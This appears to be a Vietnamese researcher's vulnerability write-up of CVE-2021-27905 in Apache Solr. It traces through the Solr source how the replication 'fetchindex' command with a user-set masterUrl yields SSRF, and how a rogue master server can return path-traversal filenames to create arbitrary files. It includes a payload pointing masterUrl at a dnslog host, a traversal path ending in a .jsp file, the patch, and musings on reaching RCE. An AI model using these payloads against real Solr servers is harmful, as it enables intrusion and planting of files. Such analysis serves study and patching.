CVE-2021-27905

Môi trường:

  • Phiên bản Apache Solr < 8.8.2.

Thiết lập debug:

  • Sau khi tải về source code thực hiện sao chép toàn bộ lib jar vào chung một thư mục để thực hiện remote debug.
find . -iname '*.jar' -exec cp {} /tmp/solr/ \;
  • Tạo project trên intellij hoặc ide debugger bất kì, thực hiện import library các tệp jars ở bước trên.
  • Khởi chạy ứng dụng Apache solr kèm theo option jvm để thực hiện remote debug.
./bin/solr start -a "-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005" -e cloud

Phân tích:

Payload

  • Core name: Tên của solrCore,ngoài ra Defining core.properties có giới thiệu thêm về các properties khác. Các properties của các lõi cũng được biểu diễn dưới dạng json qua đường dẫn

    http://solr.local/solr/admin/cores?indexInfo=false&wt=json

    {
      "responseHeader":{
        "status":0,
        "QTime":0},
      "initFailures":{},
      "status":{
        "dangkhai_shard1_replica_n1":{
          "name":"dangkhai_shard1_replica_n1",
          "instanceDir":"/home/sandbox/Documents/research/apache/solr/solr-8.1.1/example/cloud/node1/solr/dangkhai_shard1_replica_n1",
          "dataDir":"/home/sandbox/Documents/research/apache/solr/solr-8.1.1/example/cloud/node1/solr/dangkhai_shard1_replica_n1/data/",
          "config":"solrconfig.xml",
          "schema":"managed-schema",
          "startTime":"2021-06-23T02:29:25.225Z",
          "uptime":6281701,
          "lastPublished":"active",
          "configVersion":0,
          "cloud":{
            "collection":"dangkhai",
            "shard":"shard1",
            "replica":"core_node2"}}}}
    
  • Path : Endpoint thực hiện xử lí các tác vụ gửi đến.

  • Point to method handle : Phương thức xử lí dẫn đến lỗi SSRF

  • URL DNS LOG: DNS Log ghi nhật kí các lần gọi đến từ solr.local . Có thể mở các cổng lắng nghe trên server của bạn hoặc sử dụng gợi ý dnslog.cn để tạo 1 dns log nhanh chóng.

SSRF

Lỗ hỏng này xoay quanh việc xử lí tác vụ của chức năng SolrReplication với phương thức fetchIndex thực hiện gọi đến một địa chỉ tùy biến thông qua tham số masterUrl.

Từ phương thức execute() bắt đầu xử lý yêu cầu gửi lên từ client bằng this.solrReq.getCore().execute(this.handler, this.solrReq, rsp) với handlerReplicationHandler.

org\apache\solr\servlet\HttpSolrCall.class

    protected void execute(SolrQueryResponse rsp) {
        this.solrReq.getContext().put("webapp", this.req.getContextPath());
        this.solrReq.getCore().execute(this.handler, this.solrReq, rsp);
    }

Sau đó thực hiện xử lý các các tham số bằng this.handleRequestBody(req, rsp) với req có giá trị masterUrl=http://080rgf.dnslog.cn&command=fetchindexrsp là các giá trị trả về cho client sau khi handle yêu cầu.

org\apache\solr\handler\ReplicationHandler.class

    public void handleRequestBody(SolrQueryRequest req, SolrQueryResponse rsp) throws Exception {
        rsp.setHttpCaching(false);
        SolrParams solrParams = req.getParams();
        String command = solrParams.required().get("command");
        ...

Lấy giá trị từ tham số command và gọi đến phương thức fetchindex tương ứng.

org\apache\solr\handler\ReplicationHandler.class

        } else if (command.equalsIgnoreCase("fetchindex")) {
            this.fetchIndex(solrParams, rsp);
            ...

Cuối cùng lấy giá trị từ tham số masterURL và thực hiện yêu cầu đến địa chỉ đó.

org\apache\solr\handler\ReplicationHandler.class

    private void fetchIndex(SolrParams solrParams, SolrQueryResponse rsp) throws InterruptedException {
        String masterUrl = solrParams.get("masterUrl");
        if (!this.isSlave && masterUrl == null) {
            this.reportErrorOnResponse(rsp, "No slave configured or no 'masterUrl' specified", (Exception)null);
        } else {
            SolrParams paramsCopy = new ModifiableSolrParams(solrParams);
            IndexFetchResult[] results = new IndexFetchResult[1];
            Thread fetchThread = new Thread(() -> {
                IndexFetchResult result = this.doFetch(paramsCopy, false);
                results[0] = result;
            }, "explicit-fetchindex-cmd");
            ...

Đây là yêu cầu từ phía ứng chủ gửi đến dnslog

2

Đến đây thì xem như đã khai thác SSRF, nhưng mức độ ảnh hưởng của nó không chỉ là trỏ đến một địa chỉ địa phương, hay quét các cổng nội bộ mà có thể nâng cao sự ảnh hưởng hơn nữa.

write arbitrary files

Một vài điều trước khi đi tiếp phần này, điểm cuối dẫn đến SSRF được xử lí bởi ReplicationHandler . Là một phần của legacy-scaling-and-distribution trong mô hình quản lí của apache solr. Index Replication sử dụng kiểu mô hình maste & slave , có thể giải thích dễ hiểu rằng master như máy chủ sẽ thực hiện đồng bộ lên các slave tức là các máy con. Mô hình này được sử dụng khá nhiều, hay thấy nhất là trên các dịch vụ SQL. Như thông tin trong Index Replication thì không có quá nhiều thông tin định nghĩa về máy chủ / máy con. Vì thế mà chỉ có thể dựa vào yêu cầu từ phía đối phương để xác định được đây là là máy chủ hay máy con. Vì thế mà các mô hình này thường có rủi ro tấn công cao đối với các nút kết nối nguy hiểm chưa được xác thực. Bài trình bày tấn công ở kiểu mô hình này nổi bật như rce-exploits-of-redis-based-on-master-slave-replication cũng được trình bày ở 2018.zeronights.ru.

Quay trở lại với apache solr, đây là mô hình tấn công với rogue solr server được xem như máy chủserver apache solr xem như máy con. Với rogue solr server được tạo bởi attacker nhằm sao chép các index giả mạo tới server apache solr.

5

Tiếp tục theo luồng của hướng gỡ lỗi ban đầu.

org\apache\solr\handler\IndexFetcher.class#fetchIndex(dòng 291)

IndexFetchResult result = this.doFetch(paramsCopy, false);
results[0] = result;

Từ phương thức fetchIndex() tiếp tục gọi đến doFetch(paramsCopy, false) với paramsCopy là các giá trị từ URL. Quay lại với phương thức doFetch(SolrParams solrParams, boolean forceReplication) , theo dõi luồng chuyển tiếp các hàm thì nó tiếp tục gọi đến fetchLatestIndex(forceReplication) . Sau đó thực yêu cầu đầu tiên đến rogue server để lấy giá trị indexversiongeneration bằng phương thức getLatestVersion()

org\apache\solr\handler\IndexFetcher.class#getLatestVersion(dòng 219)

    NamedList getLatestVersion() throws IOException {
        ModifiableSolrParams params = new ModifiableSolrParams();
        params.set("command", new String[]{"indexversion"});
        params.set("wt", new String[]{"javabin"});
        params.set("qt", new String[]{"/replication"});
        QueryRequest req = new QueryRequest(params);

        try {
            HttpSolrClient client = ((Builder)((Builder)((Builder)(new Builder(this.masterUrl)).withHttpClient(this.myHttpClient)).withConnectionTimeout(this.connTimeout)).withSocketTimeout(this.soTimeout)).build(); // create client service
            Throwable var4 = null;

            NamedList var5;
            try {
                var5 = client.request(req); // send request get indexversion
                ...

Dùng indexversion để kiểm tra lần lượt các điều kiện latestVersion == 0L!forceReplication && IndexDeletionPolicyWrapper.getCommitTimestamp(commit) == latestVersion . Có thể tùy biến giá trị indexversion khác 0 từ rogue server . Và IndexDeletionPolicyWrapper.getCommitTimestamp(commit) từ ứng dụng cũng bằng 0.Tiếp theo gọi đến fetchFileList(latestGeneration).

org\apache\solr\handler\IndexFetcher.class#fetchFileList(dòng 257)

NamedList response = client.request(req); //1
List<Map<String, Object>> files = (List)response.get("filelist"); //2
if (files != null) {
    this.filesToDownload = Collections.synchronizedList(files);
} else {
    this.filesToDownload = Collections.emptyList();
    log.error("No files to download for index generation: " + gen);
}

files = (List)response.get("confFiles"); //3
if (files != null) {
    this.confFilesToDownload = Collections.synchronizedList(files);
}

files = (List)response.get("tlogFiles"); //4
if (files != null) {
    this.tlogFilesToDownload = Collections.synchronizedList(files);
}

Sau khi nhận phản hồi từ rogue server , lấy từ giá trị ở 2,3,4 tương ứng với filelist,confFiles,tlogFiles . Nếu các giá trị khác null thì thực hiện synchronizedList(files) hay hiểu nôm na rằng đồng bộ giá trị vào các biến instance của lớp hiện tại để xử lý ở các phương thức tiếp theo. Sau khi thực hiện yêu cầu thứ 2 đến rogue server để lấy các giá trị tương ứng cho this.filesToDownload,this.filesToDownload,this.tlogFilesToDownload. Ở fetchLatestIndex() tiếp tục tạo thư mục index với định dạng:

/home/sandbox/Documents/research/apache/solr/solr-8.1.1/example/cloud/node1/solr/dangkhai_shard1_replica_n1/data/index/

Chuyển tiếp đến dòng 512 ở phương thức fetchLatestIndex() gọi đến downloadIndexFiles để tải tệp index từ rogue server

org\apache\solr\handler\IndexFetcher.class#fetchLatestIndex( Dòng 512)

long bytesDownloaded = this.downloadIndexFiles(isFullCopyNeeded, indexDir, tmpIndexDir, indexDirPath, tmpIndexDirPath, latestGeneration);

org\apache\solr\handler\IndexFetcher.class#DownloadIndexFiles( Dòng 980)

String filename = (String)file.get("name");
long size = (Long)file.get("size");
IndexFetcher.CompareResult compareResult = compareFile(indexDir, filename, size, (Long)file.get("checksum"));
boolean alwaysDownload = filesToAlwaysDownloadIfNoChecksums(filename, size, compareResult);
log.debug("Downloading file={} size={} checksum={} alwaysDownload={}", new Object[]{filename, size, file.get("checksum"), alwaysDownload});
if (compareResult.equal && !downloadCompleteIndex && !alwaysDownload) {
    log.debug("Skipping download for {} because it already exists", file.get("name"));

Lấy các giá trị phản hồi từ rogue server,sau đó kiểm tra nếu giá trị checksum đã tồn tại hoặc đã tải rồi thì thực hiện dừng tải tệp trùng này. Nếu tệp không trùng thì thực hiện tạo một tệp mới localFile .

                    File localFile = new File(indexDirPath, filename); //1
                    if (downloadCompleteIndex && doDifferentialCopy && compareResult.equal && compareResult.checkSummed && localFile.exists()) {
                        log.info("Don't need to download this file. Local file's path is: {}, checksum is: {}", localFile.getAbsolutePath(), file.get("checksum"));
                        Files.createLink((new File(tmpIndexDirPath, filename)).toPath(), localFile.toPath());
                        bytesSkippedCopying += localFile.length();
                    } else {
                        this.dirFileFetcher = new IndexFetcher.DirectoryFileFetcher(tmpIndexDir, file, (String)file.get("name"), "file", latestGeneration);
                        this.currentFile = file;
                        this.dirFileFetcher.fetchFile(); //2
                        bytesDownloaded += this.dirFileFetcher.getBytesDownloaded();

Với indexDirPath mà ứng dụng tạo ở trên và filename có thể tùy biến từ rogue server của kẻ tấn công. localFile được tạo giờ sẽ như thế này.

/home/sandbox/Documents/research/apache/solr/solr-8.1.1/example/cloud/node1/solr/dangkhai_shard1_replica_n1/data/index/../../../../../../../../../../../../../../../tmp/filelist.jsp -> /tmp/filelist.jsp

Sau khi đã tạo một tệp rỗng trên hệ thông, ứng dụng tiếp tục gửi yêu cầu đến rogue server để thực hiện lấy nội dung và ghi vào tệp đã tạo trên hệ thống theo luồng gọi phương thức bên dưới

this.dirFileFetcher.fetchFile() ->  this.fetch() -> this.getStream()

org\apache\solr\handler\IndexFetcher.class#getStream(Dòng 1791)

            params.set("command", new String[]{"filecontent"});
            params.set("generation", new String[]{Long.toString(this.indexGen)});
            params.set("qt", new String[]{"/replication"});
            ...
             try {
                    QueryRequest req = new QueryRequest(params);
                    NamedList response = client.request(req);
                    is = (InputStream)response.get("stream");
                    ...

Lưu ý rằng vecto này chỉ có thể tạo một tệp mới, không thể ghi đè. Ứng dụng sẽ kiểm tra 2 điều kiện thường gặp như tệp đã tồn tại trên hệ thống hoặc size được lấy từ thông tin phản hồi ở bước ứng dụng gửi yêu cầu thứ 2 đến rogue server không giống như size thực mà hệ thống trả về. Điều này khiến cho ứng dụng gọi tới phương thức cleanup() để xóa đi tệp vừa tải về trước khi ghi nội dung cho nó.

Đến bước này thì đã xong quá trình tạo một tệp tùy ý trên hệ thống. Ngoài ra, không chỉ riêng phương thức downloadIndexFiles cho phép tạo mới một tệp mà còn có thể sử dụng downloadTlogFiles(),downloadConfFiles() để tạo một tệp mới. Cách thức thực hiện ở phương thức này cũng giống như downloadIndexFiles.

Đây là quá trình giao tiếp giữa ứng dụng apache solrrogue server.

4

Bản vá

Bản vá cho lỗ được cập nhật trong phiên bản 8.8.2. Trong bản vá này thực hiện lọc url đầu vào bằng setLeaderUrl tại 248 và sử dụng shard whitelist để xác thực url hợp lệ với phương thức solrCore.getCoreContainer().getAllowListUrlChecker().checkAllowList(Collections.singletonList(leaderUrl), clusterState).

  public IndexFetcher(final NamedList<?> initArgs, final ReplicationHandler handler, final SolrCore sc) {
  ...
    String leaderUrl = ReplicationHandler.getObjectWithBackwardCompatibility(initArgs, LEADER_URL, LEGACY_LEADER_URL);
   ...
    if (leaderUrl != null && leaderUrl.endsWith(ReplicationHandler.PATH)) {
      leaderUrl = leaderUrl.substring(0, leaderUrl.length()-12);
      log.warn("'leaderUrl' must be specified without the {} suffix", ReplicationHandler.PATH);
    }
    setLeaderUrl(leaderUrl);

Có thể có ích

  • Mình phân tích lại bài này nhằm mục đích hiểu được Replication,master & slave, cách dựng rogue server . Có lẽ rằng những phân tích trên căn bản cũng đã trả lời được. Đối với rogue server thì với mỗi app sẽ có một cơ chế truyền nhận các index riêng, vì thế để dựng được một server giả mạo để phản hồi đến server thật thì cần hiểu được những điều kiện cầu để 2 server giao tiếp được với nhau. Sau đó mới tạo một server giả để đáp ứng các lời gọi.
  • Mục đích thứ 2 là mình muốn tìm cách chain lên được impact cao hơn như rce , nhưng vẫn chưa thể hoàn thành. Mình nghĩ để đáp ứng được thì cần để ý những thứ sau:
    • Lợi dụng được các chức năng xóa index nào đó để thực hiện xóa tệp có sẵn và thực hiện ghi lại tệp mới, nhằm vượt qua cơ chế kiểm tra fileexist().
    • Mình đã nghĩ tới việc tạo ra một service handler mới nhưng có vẻ bất khả thi, vì mỗi handler đều đã được route sẵn. Nếu muốn thì cần phải define cho nó.

Lời cuối xin cảm ơn đến RicterZ.

Ref:

[0] https://nvd.nist.gov/vuln/detail/CVE-2021-27905

[1] https://solr.apache.org/guide

[2] https://medium.com/@knownsec404team/rce-exploits-of-redis-based-on-master-slave-replication-ef7a664ce1d0

[3] https://2018.zeronights.ru/wp-content/uploads/materials/15-redis-post-exploitation.pdf

[4] http://noahblog.360.cn/apache-solr-8-8-1-ssrf-to-file-write/